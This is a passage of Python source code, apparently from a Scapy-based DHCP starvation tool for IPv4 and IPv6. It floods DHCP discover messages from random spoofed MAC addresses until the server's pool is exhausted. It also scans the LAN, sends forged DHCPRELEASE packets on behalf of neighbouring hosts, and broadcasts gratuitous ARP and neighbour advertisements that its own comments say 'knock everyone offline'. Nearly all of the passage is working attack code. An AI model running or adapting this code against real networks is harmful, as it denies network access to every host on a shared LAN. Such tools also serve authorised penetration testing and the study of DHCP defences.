| def randomMAC(): 289 | global MAC_LIST 290 | if len(MAC_LIST)>0: 291 | curr = MAC_LIST.pop() 292 | MAC_LIST = [curr]+MAC_LIST 293 | return curr 294 | mac = [ 0xDE, 0xAD, 295 | random.randint(0x00, 0x29), 296 | random.randint(0x00, 0x7f), 297 | random.randint(0x00, 0xff), 298 | random.randint(0x00, 0xff) ] 299 | return ':'.join(map(lambda x: "%02x" % x, mac)) 300 | 301 | def toNum(ip): 302 | "convert decimal dotted quad string to long integer" 303 | return struct.unpack('L',socket.inet_aton(ip))[0] 304 | 305 | def get_ip(ifname): 306 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 307 | return socket.inet_ntoa(fcntl.ioctl( 308 | s.fileno(), 309 | 0x8915, # SIOCGIFADDR 310 | struct.pack('256s', ifname[:15]) 311 | )[20:24]) 312 | 313 | def get_if_net(iff): 314 | for net, msk, gw, iface, addr in read_routes(): 315 | if (iff == iface and net != 0L): 316 | return ltoa(net) 317 | warning("No net address found for iface %s\n" % iff); 318 | 319 | def get_if_ip(iff): 320 | for net, msk, gw, iface, addr in read_routes(): 321 | if (iff == iface and net != 0L): 322 | return addr 323 | warning("No net address found for iface %s\n" % iff); 324 | 325 | def calcCIDR(mask): 326 | mask = mask.split('.') 327 | bits = [] 328 | for c in mask: 329 | bits.append(bin(int(c))) 330 | bits = ''.join(bits) 331 | cidr = 0 332 | for c in bits: 333 | if c == '1': cidr += 1 334 | return str(cidr) 335 | 336 | def unpackMAC(binmac): 337 | mac=binascii.hexlify(binmac)[0:12] 338 | blocks = [mac[x:x+2] for x in xrange(0, len(mac), 2)] 339 | return ':'.join(blocks) 340 | 341 | 342 | ########################################################## 343 | # 344 | # IPv6 Packet crafting 345 | # 346 | 347 | """ 348 | protocol specific stuff 349 | 350 | c2s -> solicit 351 | s2c -> advertise 352 | c2s -> request 353 | s2c -> reply 354 | 355 | """ 356 | 357 | def v6_build_ether(mac): 358 | IPv6mcast="33:33:00:01:00:02" 359 | #IPv6LL="fe80::20c:29ff:fef8:a1c8" 360 | IPv6LL = [addr for addr,y,intf in in6_getifaddr() if intf==conf.iface] 361 | if len(IPv6LL)>0: 362 | IPv6LL=IPv6LL[0] 363 | else: 364 | LOG(type="NOTICE",message="Could not determine v6 Link-Local Address") 365 | exit() 366 | IPv6bcast="ff02::1:2" 367 | IPv6DHCP_CLI_Port=546 368 | IPv6DHCP_SRV_Port=547 369 | ethead=Ether(src=mac,dst=IPv6mcast)/IPv6(src=IPv6LL,dst=IPv6bcast)/UDP(sport=IPv6DHCP_CLI_Port,dport=IPv6DHCP_SRV_Port) 370 | return ethead 371 | 372 | def v6_build_discover(mac,trid=None,options=[23,24]): 373 | ethead=v6_build_ether(mac) 374 | trid=trid or random.randint(0x00,0xffffff) 375 | cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time()))) 376 | if DO_v6_RC: 377 | dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptRapidCommit()/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options) 378 | else: 379 | dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options) 380 | return dhcp_discover 381 | 382 | def v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]): 383 | trid=trid or random.randint(0x00,0xffffff) 384 | ethead=v6_build_ether(p_advertise[Ether].dst) 385 | srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid) 386 | cli_id=p_advertise[DHCP6OptClientId] 387 | iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid) 388 | dhcp_request=ethead/DHCP6_Request(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()/DHCP6OptOptReq( reqopts=options) 389 | return dhcp_request 390 | 391 | def v6_build_release(p_advertise,mac,iaid=0xf,trid=None): 392 | trid=trid or random.randint(0x00,0xffffff) 393 | ethead=v6_build_ether(p_advertise[Ether].dst) 394 | srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid) 395 | cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time()))) 396 | iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid) 397 | dhcp_request=ethead/DHCP6_Release(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime() 398 | return dhcp_request 399 | 400 | def sendPacket(pkt): 401 | if MODE_FUZZ: 402 | # only fuzz: UDP with payload of UDP (DHCP messages) 403 | pkt[UDP] = fuzz(pkt[UDP]) 404 | #pkt = [pkt]*100 405 | sendp(pkt,iface=conf.iface) 406 | 407 | ########################################################## 408 | # 409 | # ARP and create map of LAN neighbors 410 | # 411 | def neighbors(): 412 | global dhcpsip,subnet,nodes 413 | nodes={} 414 | if MODE_IPv6 : 415 | LOG(type="WARNING", message= "IPv6 - neighbors() not supported at this point ") 416 | # ICMPv6 neighbor solicitation - who has fxy 417 | return 418 | if not p_dhcp_advertise: 419 | LOG(type="WARNING", message= "IPv6 - neighbors() - need at least one advertise to do a neighbor scan ") 420 | return 421 | m=randomMAC() 422 | p = v6_build_ether(m) 423 | del(p[UDP]) # dont need UDP 424 | # FIXME: use ipaddr to calc subnet 425 | # 426 | net = p_dhcp_advertise[DHCP6OptServerId].duid.lladdr # FIXME: make this fit the advertised net 427 | 428 | ns = ICMPv6ND_NS(tgt=net, R=0)/ICMPv6NDOptSrcLLAddr(lladdr=m) 429 | ans,unans = srp(p/ns/ls, timeout=8, filter="icmp6") #tune filter to only show neighbor solictaiations 430 | for request,reply in ans: 431 | nodes[reply.hwsrc]=reply.psrc 432 | LOG(type="<--", message= "%15s - %s " % (reply.psrc, reply.hwsrc) ) 433 | 434 | else: 435 | m=randomMAC() 436 | net=dhcpsip+"/"+calcCIDR(subnet) 437 | ans,unans = srp(Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net,psrc=dhcpsip), timeout=8, 438 | filter="arp and arp[7] = 2") 439 | for request,reply in ans: 440 | nodes[reply.hwsrc]=reply.psrc 441 | LOG(type="<--", message= "%15s - %s " % (reply.psrc, reply.hwsrc) ) 442 | 443 | # 444 | # send release for our neighbors 445 | # 446 | def release(): 447 | global dhcpsmac,dhcpsip,nodes,p_dhcp_advertise 448 | if MODE_IPv6 and p_dhcp_advertise and DHCP6OptServerId in p_dhcp_advertise: 449 | LOG(type="WARNING", message= " IPv6 - release() is not supported and supposed to be experimental - feel free to add code! ") 450 | return 451 | # we are releaseing client IDs! 452 | m=randomMAC() 453 | v6_build_release(p_dhcp_advertise,mac) 454 | else: 455 | LOG(type="NOTICE", message= "*** Sending DHCPRELEASE for neighbors ") 456 | myxid=random.randint(1, 900000000) 457 | # 458 | #iterate over all ndoes and release their IP from DHCP server 459 | for cmac,cip in nodes.iteritems(): 460 | dhcp_release = Ether(src=cmac,dst=dhcpsmac)/IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid,)/DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"]) 461 | LOG(type="-->", message= "Releasing %s - %s"%(cmac,cip)) 462 | sendPacket(dhcp_release) 463 | if conf.verb: LOG(type="DEBUG", message= "%r"%dhcp_release ) 464 | 465 | # 466 | #now knock everyone offline 467 | # 468 | def garp(): 469 | global dhcpsip,subnet 470 | if MODE_IPv6: 471 | LOG(type="NOTICE", message= "IPv6 - gratious_arp() not supported at this point ") 472 | return 473 | pool=Net6(dhcpsip+"/"+calcCIDR(subnet)) 474 | for ip in pool: 475 | m=randomMAC() 476 | # craft packet Ether/IPv6/ICMPv6_ND_NA/ICMPv6NDOptDstLLAddr 477 | LL_ScopeALL_Multicast_Address="ff02::1" 478 | arpp = Ether(src=m,dst="33:33:00:00:00:01")/IPv6(src=ip,dst=LL_ScopeALL_Multicast_Address)/ICMPv6ND_NA(tgt=ip,R=0)/ICMPv6NDOptDstLLAddr(lladdr="00:00:00:00:00:00") 479 | sendPacket(arpp) 480 | LOG(type="-->", message= "v6_ICMP_NeighborDiscovery - knock offline %s"%ip) 481 | if conf.verb: LOG(type="DEBUG", message= "%r"%arpp) 482 | else: 483 | pool=Net(dhcpsip+"/"+calcCIDR(subnet)) 484 | for ip in pool: 485 | m=randomMAC() 486 | arpp = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m,psrc=ip,hwdst="00:00:00:00:00:00",pdst=ip) 487 | sendPacket(arpp) 488 | LOG(type="-->", message= "Gratious_ARP - knock offline %s"%ip) 489 | if conf.verb: LOG(type="DEBUG", message= "%r"%arpp) 490 | 491 | # 492 | # loop and send Discovers 493 | # 494 | class send_dhcp(threading.Thread): 495 | def __init__ (self): 496 | threading.Thread.__init__(self) 497 | self.kill_received = False 498 | 499 | def run(self): 500 | global TIMEOUT,dhcpdos,REQUEST_OPTS 501 | while not self.kill_received and not dhcpdos: 502 | m=randomMAC() 503 | #m="00:00:00:00:00:00" 504 | myxid=random.randint(1, 900000000) 505 | hostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) 506 | if MODE_IPv6: 507 | dhcp_discover=v6_build_discover(m,trid=myxid,options=REQUEST_OPTS) 508 | LOG(type="-->", message= "v6_DHCP_Discover [cid:%s]"%(repr(str(dhcp_discover[DHCP6OptClientId].duid)))) 509 | else: 510 | dhcp_discover = Ether(src=m,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid)/DHCP(options=[("message-type","discover"),("hostname",hostname),"end"]) 511 | LOG(type="-->", message= "DHCP_Discover") 512 | sendPacket(dhcp_discover) 513 | if TIMEOUT['timer']>0: 514 | time.sleep(TIMEOUT['timer']) 515 | 516 | 517 | # 518 | # 519 | # sniff DHCP Offers and ACK 520 | # 521 | class sniff_dhcp(threading.Thread): 522 | def __init__ (self): 523 | threading.Thread.__init__(self) 524 | if MODE_IPv6: 525 | self.filter ="icmp6 or (udp and src port 547 and dst port 546)" 526 | else: 527 | self.filter = "arp or icmp or (udp and src port 67 and dst port 68)" 528 | self.kill_received = False 529 | self.dhcpcount=0 530 | 531 | def run(self): 532 | global dhcpdos 533 | while not self.kill_received and not dhcpdos: 534 | sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout=3,iface=conf.iface) 535 | if self.dhcpcount>0 : LOG(type="NOTICE", message= "timeout waiting on dhcp packet count %d"%self.dhcpcount) 536 | self.dhcpcount+=1 537 | if not MODE_FUZZ and self.dhcpcount==5: dhcpdos=True 538 | 539 | def detect_dhcp(self,pkt): 540 | global dhcpsmac,dhcpsip,subnet,SHOW_ARP,SHOW_DHCPOPTIONS,SHOW_ICMP,DO_v6_RC,p_dhcp_advertise, SHOW_LEASE_CONFIRM,REQUEST_OPTS 541 | if MODE_IPv6: 542 | if DHCP6_Advertise in pkt: 543 | self.dhcpcount=0 544 | if DHCP6OptIAAddress in pkt and DHCP6OptServerId in pkt: 545 | p_dhcp_advertise = pkt 546 | myip=pkt[DHCP6OptIAAddress].addr 547 | sip=repr(pkt[DHCP6OptServerId].duid.lladdr) 548 | cip=repr(pkt[DHCP6OptClientId].duid.lladdr) 549 | #localxid=pkt[BOOTP].xid 550 | #localm=unpackMAC(pkt[BOOTP].chaddr) 551 | myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) 552 | 553 | LOG(type="<--", message=("v6 ADVERTISE FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip))) 554 | if SHOW_DHCPOPTIONS: 555 | b = pkt[DHCP6_Advertise] 556 | b=str(b.show) 557 | for h in b.split("|<"): 558 | LOG(type="DEBUG",message="\t* %s"%h) 559 | 560 | if not DO_v6_RC: 561 | # we dont need to request the address if we're using rapid commit mode (2 message: solict / reply) 562 | dhcp_req=v6_build_request(pkt,options=REQUEST_OPTS) 563 | sendPacket(dhcp_req) 564 | LOG(type="-->", message= "v6 REQUEST ACK IPv6[%s]\n"%myip) 565 | 566 | elif SHOW_LEASE_CONFIRM and DHCP6_Reply in pkt : 567 | myip=pkt[DHCP6OptIAAddress].addr 568 | sip=repr(pkt[DHCP6OptServerId].duid.lladdr) 569 | cip=repr(pkt[DHCP6OptClientId].duid.lladdr) 570 | LOG(type="<-", message=("v6 DHCP REPLY FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip))) 571 | elif SHOW_ICMP and ICMPv6ND_NS in pkt and ICMPv6NDOptSrcLLAddr in pkt : 572 | LOG(type="<-", message= "v6 ICMP REQUEST FROM [%s] -> [%s]"%(pkt[ICMPv6NDOptSrcLLAddr].lladdr,pkt[ICMPv6ND_NS].tgt)) 573 | else: 574 | if DHCP in pkt: 575 | if pkt[DHCP] and pkt[DHCP].options[0][1] == 2: 576 | self.dhcpcount=0 577 | dhcpsip = pkt[IP].src 578 | dhcpsmac = pkt[Ether].src 579 | for opt in pkt[DHCP].options: 580 | if opt[0] == 'subnet_mask': 581 | subnet=opt[1] 582 | break 583 | 584 | myip=pkt[BOOTP].yiaddr 585 | sip=pkt[BOOTP].siaddr 586 | localxid=pkt[BOOTP].xid 587 | localm=unpackMAC(pkt[BOOTP].chaddr) 588 | myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) 589 | LOG(type="<--", message= "DHCP_Offer " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+pkt[Ether].dst+"]") 590 | 591 | if SHOW_DHCPOPTIONS: 592 | b = pkt[BOOTP] 593 | LOG(type="DEBUG", message= "\t* xid=%s"%repr(b.xid)) 594 | LOG(type="DEBUG", message= "\t* CIaddr=%s"%repr(b.ciaddr) ) 595 | LOG(type="DEBUG", message= "\t* YIaddr=%s"%repr(b.yiaddr) ) 596 | LOG(type="DEBUG", message= "\t* SIaddr=%s"%repr(b.siaddr) ) 597 | LOG(type="DEBUG", message= "\t* GIaddr=%s"%repr(b.giaddr) ) 598 | LOG(type="DEBUG", message= "\t* CHaddr=%s"%repr(b.chaddr) ) 599 | LOG(type="DEBUG", message= "\t* Sname=%s"%repr(b.sname) ) 600 | for o in pkt[DHCP].options: 601 | if isinstance(o,str): 602 | if o=="end": break #supress spam paddings :) 603 | LOG(type="DEBUG", message= "\t\t* "+repr(o) ) 604 | else: 605 | LOG(type="DEBUG", message= "\t\t* %s\t%s"%(o[0],o[1:]) ) 606 | 607 | dhcp_req = Ether(src=localm,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list","pad"),"end"]) 608 | LOG(type="-->", message= "DHCP_Request "+myip) 609 | sendPacket(dhcp_req) 610 | elif SHOW_LEASE_CONFIRM and pkt[DHCP] and pkt[DHCP].options[0][1] == 5: 611 | myip=pkt[BOOTP].yiaddr 612 | sip=pkt[BOOTP].siaddr 613 | LOG(type="<-", message= "DHCP_ACK " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+pkt[Ether].dst+"]") 614 | 615 | elif ICMP in pkt: 616 | if pkt[ICMP].type==8: 617 | myip=pkt[IP].dst 618 | mydst=pkt[IP].src 619 | if SHOW_ICMP: LOG(type="<-", message= "ICMP_Request "+mydst+" for "+myip ) 620 | icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912" 621 | if conf.verb: 622 | LOG(type="DEBUG", message= "%r"%icmp_req ) 623 | #sendPacket(icmp_req) 624 | #print "ICMP response from "+myip+" to "+mydst 625 | 626 | elif SHOW_ARP and ARP in pkt: 627 | if pkt[ARP].op ==1: #op=1 who has, 2 is at 628 | myip=pkt[ARP].pdst 629 | mydst=pkt[ARP].psrc 630 | LOG(type="<-", message= "ARP_Request " + myip+" from "+mydst) 631 | #todo(tintinweb):answer arps? 632 | 633 | 634 | # 635 | # 636 | # MAIN() 637 | # 638 | def main(): 639 | global THREAD_POOL,dhcpdos,dhcpsip,dhcpsmac,subnet,nodes,THREAD_CNT,p_dhcp_advertise 640 | 641 | checkArgs() 642 | LOG(type="NOTICE", message= "[INFO] - using interface %s"%conf.iface) 643 | signal.signal(signal.SIGINT, signal_handler) 644 | dhcpsip=None 645 | dhcpsmac=None 646 | subnet=None 647 | nodes={} 648 | dhcpdos=False 649 | p_dhcp_advertise = None # contains dhcp advertise pkt once it is received (base for creating release()) 650 | 651 | 652 | LOG(type="DEBUG",message="Thread %d - (Sniffer) READY"%len(THREAD_POOL)) 653 | t=sniff_dhcp() 654 | t.start() 655 | THREAD_POOL.append(t) 656 | 657 | for i in range(THREAD_CNT): 658 | LOG(type="DEBUG",message="Thread %d - (Sender) READY"%len(THREAD_POOL)) 659 | t=send_dhcp() 660 | t.start() 661 | THREAD_POOL.append(t) 662 | 663 | fail_cnt=5 664 | while dhcpsip==None and fail_cnt<=0: 665 | time.sleep(TIMEOUT['dhcpip']) 666 | LOG(type="?", message= "\t\twaiting for first DHCP Server response") 667 | fail_cnt-=1 668 | 669 | if fail_cnt==0: 670 | LOG(type="NOTICE", message= "[FAIL] No DHCP offers detected - aborting") 671 | return 672 | 673 | if DO_ARP: neighbors() 674 | if DO_RELEASE: release() 675 | 676 | while not dhcpdos: 677 | time.sleep(TIMEOUT['dos']) 678 | LOG(type="?", message= " \t\twaiting for DHCP pool exhaustion...") 679 | 680 | if DO_GARP: 681 | LOG(type="NOTICE", message= "[INFO] waiting %s to mass grat.arp!"%TIMEOUT['dos']) 682 | time.sleep(TIMEOUT['dos']) 683 | garp() 684 | LOG(type="NOTICE", message= "[DONE] DHCP pool exhausted!") 685 | 686 | def usage(): 687 | print __doc__ 688 | 689 | if __name__ == '__main__': 690 | main() 691 | print "\n" --------------------------------------------------------------------------------